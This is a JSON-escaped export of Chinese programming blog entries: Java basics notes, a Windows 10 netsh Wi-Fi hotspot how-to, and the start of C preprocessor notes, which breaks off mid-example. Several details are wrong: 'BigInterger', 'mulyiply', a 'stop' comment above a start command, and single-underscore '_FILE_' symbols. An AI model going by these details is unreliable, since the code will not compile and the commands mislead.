class=\"string\"\u003e\u0026#34;UTF-8\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e文件名中包含反斜杠的话,则需要再多添加一个反斜杠转义。另外,其中的\u003ccode\u003eUTF-8\u003c/code\u003e可省略,缺省值为运行 该程序的机器的默认编码。不过为了兼容性尽量不要这么做。还有,路径支持相对路径,不过位置是相对于Java虚拟机的启动路径而言的:即命令解释器的当前路径。也可以用下面的方式得到路径位置:\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eString\u003c/span\u003e \u003cspan class=\"variable\"\u003edir\u003c/span\u003e \u003cspan class=\"operator\"\u003e=\u003c/span\u003e System.getProperty(\u003cspan class=\"string\"\u003e\u0026#34;user.dir\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"流程控制\"\u003e\u003ca href=\"https://xeonds.github.io/2022/01/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Java/Java%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%9F%BA%E7%A1%80%E7%AF%87/#%E6%B5%81%E7%A8%8B%E6%8E%A7%E5%88%B6\" class=\"headerlink\" title=\"流程控制\"\u003e\u003c/a\u003e流程控制\u003c/h2\u003e\u003cp\u003eJava中也有块(block)的概念。大多数内容都和C一致,除了嵌套的块中不能声明重名变量。下面说一下流程控制语句:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003eif-else if-else\u003c/code\u003e 和C一样\u003c/li\u003e\u003cli\u003e\u003ccode\u003ewhile/do-while\u003c/code\u003e 和C一样\u003c/li\u003e\u003cli\u003e\u003ccode\u003efor\u003c/code\u003e 和C一样。不过添加了一种for each循环\u003c/li\u003e\u003cli\u003e\u003ccode\u003eswitch\u003c/code\u003e 和C一样。不过从Java SE 7 开始,case标签可以是字符串字面量\u003c/li\u003e\u003cli\u003e\u003ccode\u003ebreak\u003c/code\u003e 后面可以带标签,用法和C中的goto一样。不过只能跳出语句块而不能跳入\u003c/li\u003e\u003cli\u003e\u003ccode\u003econtinue\u003c/code\u003e 和C一样\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"大数值\"\u003e\u003ca href=\"https://xeonds.github.io/2022/01/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Java/Java%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%9F%BA%E7%A1%80%E7%AF%87/#%E5%A4%A7%E6%95%B0%E5%80%BC\" class=\"headerlink\" title=\"大数值\"\u003e\u003c/a\u003e大数值\u003c/h2\u003e\u003cp\u003ejava.math包中有BigInterger和BigDecimal两个类,分别表示任意精度的整数和浮点数。使用静态方法valueOf()将普通数值转换成大数值:\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eBigInterger\u003c/span\u003e \u003cspan class=\"variable\"\u003ea\u003c/span\u003e \u003cspan class=\"operator\"\u003e=\u003c/span\u003e BigInterger.valueOf(\u003cspan class=\"number\"\u003e100\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然而因为Java没有提供运算符重载,所以不能用\u003ccode\u003e+-*/\u003c/code\u003e来进行大数的四则运算,只能使用它们的\u003ccode\u003eadd subtract mulyiply divide mod compareTo\u003c/code\u003e方法进行加减乘除以及求模、比较运算。\u003c/p\u003e\u003ch2 id=\"数组\"\u003e\u003ca href=\"https://xeonds.github.io/2022/01/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Java/Java%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%9F%BA%E7%A1%80%E7%AF%87/#%E6%95%B0%E7%BB%84\" class=\"headerlink\" title=\"数组\"\u003e\u003c/a\u003e数组\u003c/h2\u003e\u003cp\u003e和C差不多。不过\u003ccode\u003e[]\u003c/code\u003e得写在数据类型后而非变量名后:\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e[] a;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ea = \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"title class_\"\u003eint\u003c/span\u003e[\u003cspan class=\"number\"\u003e100\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e[] b = {\u003cspan class=\"number\"\u003e1\u003c/span\u003e,\u003cspan class=\"number\"\u003e2\u003c/span\u003e,\u003cspan class=\"number\"\u003e3\u003c/span\u003e,\u003cspan class=\"number\"\u003e5\u003c/span\u003e,\u003cspan class=\"number\"\u003e7\u003c/span\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ea = {\u003cspan class=\"number\"\u003e4\u003c/span\u003e,\u003cspan class=\"number\"\u003e5\u003c/span\u003e,\u003cspan class=\"number\"\u003e6\u003c/span\u003e,\u003cspan class=\"number\"\u003e7\u003c/span\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e[] d = \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"title class_\"\u003eint\u003c/span\u003e[\u003cspan class=\"number\"\u003e0\u003c/span\u003e]; \u003cspan class=\"comment\"\u003e//允许数组长度为0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e可以用\u003ccode\u003ea.length\u003c/code\u003e获取数组a的长度,其余的用法和C无异:数组长度也是不可变的。如果需要长度可变则应该考虑使用\u003ccode\u003earray list\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e数组除了可以用for循环遍历,也可以用for each循环遍历:\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e(value : collection) statement\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//例如,对于int数组a而言:\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e num: a){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e System.out.println(num);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e不过,打印数组还可以用\u003ccode\u003eSystem.out.println(Arrays.toString(a));\u003c/code\u003e来完成。\u003c/p\u003e\u003cp\u003e和上面类似,用\u003ccode\u003eArrays.copyOf(array, length)\u003c/code\u003e可以复制数组。\u003c/p\u003e\u003cp\u003e现在可以说说main()函数的参数\u003ccode\u003eString[] args\u003c/code\u003e了。这是一个参数数组,和C的argv参数基本一样。不过这里的args[0]指示的不是程序名,而是第一个参数。\u003c/p\u003e\u003cp\u003e使用Arrays.sort(a)可以对数组进行排序。Arrays还有很多方法:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003eArrays.binarySearch(type[] a, type v)\u003c/code\u003e 二分搜索值v,返回下标或负数值(若为未查找到)\u003c/li\u003e\u003cli\u003e\u003ccode\u003eArrays.fill(typr[] a, type v)\u003c/code\u003e 用v填充数组\u003c/li\u003e\u003cli\u003e\u003ccode\u003eArrays.equals(type[] a, type[] b)\u003c/code\u003e 数组比较,长度和对应位置的值都相等则返回true\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e多位数组使用这样的方式声明:\u003ccode\u003eint[][] a = new int[100][100];\u003c/code\u003e 赋值和迭代等都和C差不多,按照java中一维数组的情况类推即可。\u003c/p\u003e\u003chr/\u003e\u003cp\u003e好了,这些就是Java的基本内容了。下一节是关于Java的面向对象体系的介绍。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/01/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Java/Java%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%9F%BA%E7%A1%80%E7%AF%87/"},{"title":"Win10使用命令行启动WiFi热点","time":"2021-12-29T10:33:02Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e使用管理员权限运行\u003ccode\u003ecmd\u003c/code\u003e,然后键入以下指令:\u003c/p\u003e\u003cfigure class=\"highlight bat\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003enetsh wlan \u003cspan class=\"built_in\"\u003eset\u003c/span\u003e hostednetwork \u003cspan class=\"built_in\"\u003emode\u003c/span\u003e=allow\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003enetsh wlan \u003cspan class=\"built_in\"\u003eset\u003c/span\u003e hostednetwork ssid=您想要的无线网络的名称 key=您想要设置的密码\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后在网络和Internet界面对新增的东西共享网络,再启动承载网络:\u003c/p\u003e\u003cfigure class=\"highlight bat\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003enetsh wlan \u003cspan class=\"built_in\"\u003estart\u003c/span\u003e hostednetwork\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e下面是一些常用指令:\u003c/p\u003e\u003cfigure class=\"highlight bat\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e#停止\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003enetsh wlan \u003cspan class=\"built_in\"\u003estart\u003c/span\u003e hostednetwork\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e#查看详情\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003enetsh wlan show hostednetwork\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2021/12/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Windows/Win10%E4%BD%BF%E7%94%A8%E5%91%BD%E4%BB%A4%E8%A1%8C%E5%90%AF%E5%8A%A8WiFi%E7%83%AD%E7%82%B9/"},{"title":"C语言学习笔记:预处理器","time":"2021-11-11T02:38:56Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"预定义符号\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E9%A2%84%E5%A4%84%E7%90%86%E5%99%A8/#%E9%A2%84%E5%AE%9A%E4%B9%89%E7%AC%A6%E5%8F%B7\" class=\"headerlink\" title=\"预定义符号\"\u003e\u003c/a\u003e预定义符号\u003c/h2\u003e\u003cp\u003e预处理器定义了一些符号,它们的值是一些常量。\u003c/p\u003e\u003cp\u003e|:—:|:—:|\u003cbr/\u003e|符号|含义|\u003cbr/\u003e|\u003ccode\u003e_FILE_\u003c/code\u003e|进行编译的源文件名|\u003cbr/\u003e|\u003ccode\u003e_LINE_\u003c/code\u003e|文件当前行的行号|\u003cbr/\u003e|\u003ccode\u003e_DATE_\u003c/code\u003e|文件被编译的日期(年月日)|\u003cbr/\u003e|\u003ccode\u003e_TIME_\u003c/code\u003e|文件被编译的时间(时分秒)|\u003cbr/\u003e|\u003ccode\u003e_STDC_\u003c/code\u003e|如果编译器支持ANSI C,它就是1,否则未定义|\u003c/p\u003e\u003ch2 id=\"define\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E9%A2%84%E5%A4%84%E7%90%86%E5%99%A8/#define\" class=\"headerlink\" title=\"define\"\u003e\u003c/a\u003edefine\u003c/h2\u003e\u003cp\u003e首先,这是它的正式定义:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e name stuff\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这样,每当有\u003ccode\u003ename\u003c/code\u003e出现在\u003cstrong\u003e这一行的后面\u003c/strong\u003e时,预处理器就会把它替换成\u003ccode\u003estuff\u003c/code\u003e。\u003c/p\u003e\u003ch2 id=\"宏\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E9%A2%84%E5%A4%84%E7%90%86%E5%99%A8/#%E5%AE%8F\" class=\"headerlink\" title=\"宏\"\u003e\u003c/a\u003e宏\u003c/h2\u003e\u003cp\u003e\u003ccode\u003e#define\u003c/code\u003e提供了一个机制:可以将参数替换到文本中去。\u003cstrong\u003e这种实现被称作宏\u003c/strong\u003e。下面是它的声明方式:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e name(parameter-list) stuff\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003eparameter-list,也就是参数列表,是一个由逗号分隔,每一项都可能出现在stuff中的列表。此处的括号必须与name紧邻。下面是一个实例:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQUARE(x) x * x\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果把\u003ccode\u003eSQUARE(5)\u003c/code\u003e放在随后的代码中,预处理器就会把它替换成\u003ccode\u003e5 * 5\u003c/code\u003e。但是,如果是\u003ccode\u003eSQUARE(5+1)\u003c/code\u003e呢?很显然是\u003ccode\u003e5+1 * 5+1\u003c/code\u003e,不是我们预期的结果。要修复这个问题,就把宏改成这样:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQUARE(x) (x)*(x)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e那如果宏定义中间的符号是加号而非乘号呢?结果也非预期。我们又要改一改了:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e ADD(x) ((x)+(x))\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这样就安全了吗?并不。如果\u003ccode\u003ex\u003c/code\u003e是某种值会改变的表达式(例如\u003ccode\u003ex=getchar()\u003c/code\u003e,或者设想你写了一个用来比较大小的宏\u003ccode\u003eMAX(a,b)\u003c/code\u003e,然后如此调用:\u003ccode\u003eMAX(b++,c++)\u003c/code\u003e),那么替换后,两个\u003ccode\u003ex\u003c/code\u003e的值也不会相等。也就是说,\u003cstrong\u003e作为宏参数的表达式会被多次求值\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e那么为什么要使用宏呢?有三点原因:宏可以做到函数做不到的事;并且,宏的执行效率要高于函数。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e宏比函数的效率高\u003c/strong\u003e:因为调用函数时,需要为函数分配栈空间等,所以多少会有时间损耗。在某些场景下更是明显。宏唯一的开销是编译时的时间变长,程序体积变大。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e宏能做到更多\u003c/strong\u003e:例如这个:\u003c/p\u003e\u003c/li\u003e\u003c/ul\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e MALLOC(n, type) \\\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e ((type*)malloc((n)*sizeof(type)))\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e类型是无法作为函数参数进行传递的。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003e宏与类型无关\u003c/strong\u003e:例如这个宏:\u003c/li\u003e\u003c/ul\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e MAX(a,b) ((a)\u0026gt;(b)?(a):(b))\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它与类型无关。如果用函数来实现,那么就需要很多不同版本的函数了。\u003c/p\u003e\u003cp\u003e这里注意,\u003cstrong\u003e宏名一般用大写字母表示\u003c/strong\u003e。这是约定,为了区分它和函数而设定。因为它和真正的函数还是有着不同之处的。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003cstrong\u003e注意\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e这里有两点注意事项:一个是,可以用反斜杠\u003ccode\u003e\\\u003c/code\u003e来让宏换行书写而不间断;另一个是,注意宏定义末尾并没有加分号,这是因为我们希望在书写时,可以像调用函数一样调用它,而不会因为没注意到重复分号,而在一些场合(如\u003ccode\u003eif-else\u003c/code\u003e)中将两条语句错当成一条,从而造成错误。\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"undef\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E9%A2%84%E5%A4%84%E7%90%86%E5%99%A8/#undef\" class=\"headerlink\" title=\"undef\"\u003e\u003c/a\u003eundef\u003c/h2\u003e\u003cp\u003e用于移除一个现存的宏定义:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eundef\u003c/span\u003e name\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"命令行定义\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E9%A2%84%E5%A4%84%E7%90%86%E5%99%A8/#%E5%91%BD%E4%BB%A4%E8%A1%8C%E5%AE%9A%E4%B9%89\" class=\"headerlink\" title=\"命令行定义\"\u003e\u003c/a\u003e命令行定义\u003c/h2\u003e\u003cp\u003e编译时,可以在编译选项中定义宏。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"built_in\"\u003earray\u003c/span\u003e[ARRAY_SIZE];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e 